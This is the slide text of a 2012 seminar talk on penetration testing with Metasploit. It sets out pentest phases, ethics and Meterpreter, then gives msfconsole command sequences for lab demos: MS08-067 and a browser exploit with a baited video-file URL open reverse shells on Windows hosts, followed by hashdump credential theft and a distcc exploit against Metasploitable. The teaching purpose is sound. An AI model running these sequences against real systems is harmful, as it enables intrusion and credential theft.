This document summarizes a presentation about penetration testing with Metasploit. It introduces penetration testing and why organizations use it. It then discusses the basics of Metasploit, including interfaces like MSFconsole. Key concepts in Metasploit like exploits, payloads, and Meterpreter are explained. The presentation demonstrates Metasploit against different operating systems like Windows XP, Windows 7, and Ubuntu. It shows how to find and use appropriate exploits and payloads to gain remote access and post-exploitation activities.

1. penetrationtesting
withmetasploit
Presented by
Syarif
!
Seminar IT Security Safe The System
Sumedang, April 29 2012
STMIK Sumedang

2. Agenda
• Why & What’s Penetration Testing ( Pentest )
• << back|track Overview
• Metasploit Basics & Meterpreter
• DEMO :)

3. Whoami
• geek & Pentester
• infosec trouble maker
• InfoSec enthusiast
• CyberCrime investigator
• Lecture & Engineer

4. Why Pentest ?
• Millions of dollars have been invested in
security programs to protect critical
infrastructure to prevent data breaches *1)
• Penetration Test is one of the most
effective ways to identify weaknesses and
deficiencies in these programs *1)

5. What’s Penetration Testing
• A method to evaluate the security of computer system / network
• Practice ( attacking ) an IT System like a ‘hacker’ does
• Find security holes ( weaknesses )
• Bypass security mechanism
• Compromise an organization’s IT system security
Must have permission from IT system owner !
illegal activity put you in Jail

6. Ethics
• Think before act
• Don’t be stupid
• Don’t be malicious

7. Pentest Phases
Vulnerability Analysis
Information Gathering
Exploitation
Post Exploitation
Reporting

8. << back|track overview
• Let’s Watch theVideo :)

9. << back|track overview
• .
The Most Advanced Linux Security Distribution
Open Source & Always be
Developed for Security Professional
Real World Pentesting Tools

10. << back|track overview

11. << back|track overview

12. What’s
• Not just a tool, but an entire framework *1)
• an Open source platform for writing
security tools and exploits *2)
• Easily build attack vectors to add its
exploits, payloads, encoders,
• Create and execute more advanced attack
• Ruby based

13. Metasploit interfaces
• MSFconsole
• MSFcli
• msfweb, msfgui ( discontinued )
• Metasploit Pro, Metasploit Express
• Armitage

14. MSFconsole

15. MSFcli

16. Metasploit Terminology
• Exploit : code that allow a pentester take some advantages
of a flaw within system,application, or service *1)
• Payload : code that we want the target system to execute
( few commands to be executed on the target system ) *1)
• Shellcode : a set of instructions used as payload when
exploitation occurs *1)
• Module : a software that can be used by metasploit *1)
• Listener : a component for waiting an incoming connection
*1)

17. How does exploitation works
attacker
exploit + payload
vulnerable server
1
exploit run , then payload run
2
3 Upload / Download data

18. Traditional PentestVs Metasploit
Public Exploit Gathering
Change offsets
Replace ShellCode
Load Metasploit
Choose the target OS
Use exploit
SET Payload
Execute
Traditional Pentest Metasploit for Pentest

19. Meterpreter
• as a payload after vulnerability is exploited *1)
• Improve the post exploitation

20. Meterpreter
Exploiting a vulnerability
Select a meterpreter as a payload
meterpreter shell

21. Meterpreter command

22. Meterpreter command

23. Meterpreter command

24. Meterpreter command

25. Meterpreter command

26. Pentest Scenario
attacker vulnerable OS onVMware
* : Ubuntu 8.04 metasploitable
*

27. OS in the Lab
• BackTrack 5 R 2
• IP address : 172.16.240.143
• Windows Xp SP 2
• IP address : 172.16.240.129
• Windows 2003 Server
• IP address : 172.16.240.141
• Windows 7
• IP address : 172.16.240.142
• Ubuntu Linux 8.04 ( Metasploitable )
• IP address : 172.16.240.144

28. Windows XP Exploitation
• msf > search windows/smb
• msf > info exploit/windows/smb/ms08_067_netapi
• msf > use exploit/windows/smb/ms08_067_netapi
• msf exploit(ms08_067_netapi) > show payloads
• msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
• msf exploit(ms08_067_netapi) > show options
• msf exploit(ms08_067_netapi) > set RHOST 172.16.240.129
• msf exploit(ms08_067_netapi) > set LHOST 172.16.240.143
• msf exploit(ms08_067_netapi) > show options
• msf exploit(ms08_067_netapi) > exploit
• meterpreter > background
• session -l

29. Windows XP Post Exploitation
• session -i 1
• meterpreter > getsystem -h
• getuid
• hashdump

30. Windows 2003 Server Exploitation
• msf > search windows/smb
• msf > info exploit/windows/smb/ms08_067_netapi
• msf > use exploit/windows/smb/ms08_067_netapi
• msf exploit(ms08_067_netapi) > show payloads
• msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
• msf exploit(ms08_067_netapi) > show options
• msf exploit(ms08_067_netapi) > set RHOST 172.16.240.129
• msf exploit(ms08_067_netapi) > set LHOST 172.16.240.143
• msf exploit(ms08_067_netapi) > show options
• msf exploit(ms08_067_netapi) > exploit
• meterpreter > background
• session -l

31. Windows 7 Exploitation
• msf > use exploit/windows/browser/ms11_003_ie_css_import
• msf exploit(ms11_003_ie_css_import) > set PAYLOAD windows/meterpreter/reverse_tcp
• msf exploit(ms11_003_ie_css_import) > show options
• msf exploit(ms11_003_ie_css_import) > set SRVHOST 172.16.240.143
• msf exploit(ms11_003_ie_css_import) > set SRVPORT 80
• msf exploit(ms11_003_ie_css_import) > set URIPATH miyabi-naked.avi
• msf exploit(ms11_003_ie_css_import) > set LHOST 172.16.240.143
• msf exploit(ms11_003_ie_css_import) > set LPORT 443
• msf exploit(ms11_003_ie_css_import) > exploit
Just wait until the victim open the url http://172.16.240.143:80/miyabi-naked.avi

32. Windows 7 Exploitation
• msf exploit(ms11_003_ie_css_import) > sessions -l
• msf exploit(ms11_003_ie_css_import) > sessions -i 1
• meterpreter > sysinfo
• meterpreter > shell

33. Ubuntu 8.04 Metasploitable Exploitation
• search distcc
• use exploit/unix/misc/distcc_exec
• show payloads
• set PAYLOAD cmd/unix/reverse
• show options
• set rhost 172.16.240.144
• set lhost 172.16.240.143
• exploit

34. Any Question ?
Contact me
• website : http://fl3x.us
• twitter : @fl3xu5

35. Greet & Thanks To
• BackTrack Linux
• Metasploit Team ( HD Moore & rapid7 )
• Offensive Security / Metasploit Unleashed
• David Kennedy
• Georgia Weidman

36. References
!
!
• 1. Metasploit The Penetration Tester’s Guide : David
Kennedy , Jim O’Gorman, Devon Kearns, Mati Aharoni
• 2. http://www.metasploit.com
• 3. http://www.offensive-security.com/metasploit-
unleashed/Main_Page
• 4. http://www.pentest-standard.org/index.php/
PTES_Technical_Guidelines